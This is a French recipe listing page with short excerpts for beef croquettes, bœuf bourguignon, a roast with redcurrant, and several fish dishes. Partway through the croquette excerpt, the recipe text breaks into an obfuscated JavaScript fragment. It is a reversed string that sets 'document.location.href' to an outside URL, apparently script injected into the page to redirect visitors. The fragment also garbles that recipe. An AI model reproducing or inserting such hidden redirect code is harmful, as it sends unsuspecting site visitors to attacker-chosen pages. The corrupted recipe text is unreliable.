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Catégories : Abats , Boissons , Bouillons , Confiseries , Desserts , Fruits , Légumes

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Croquette de bœuf

Catégories : Cuisine:
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Préparez la sauce béchamel. Hors du feu incorporez le jaune d’œuf, la sauce tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if ...

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Bœuf bourguignon

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Pelez, rincez, coupez en rondelles les carottes, pelez émincez les oignons et les gousses d’ail. ...

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Rôti de bœuf à la groseille

Catégories : Cuisine:
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Dans un récipient mélangez le vinaigre avec la gelée de groseilles, le vin blanc, la ...

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Filet de merlan au basilic

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Pelez, hachez l’échalote. Lavez,  ciselez le basilic. Dans une casserole versez le vin blanc sec ...

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Poisson au beurre de mâche

Catégories : Cuisine:
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Dans une casserole avec de l’eau froide salée, faites cuire les pommes de terre pelées, ...

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Poisson à la moutarde

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Déposez les filets de poisson dans un plat à gratin beurré, salez et poivrez. Arrosez ...

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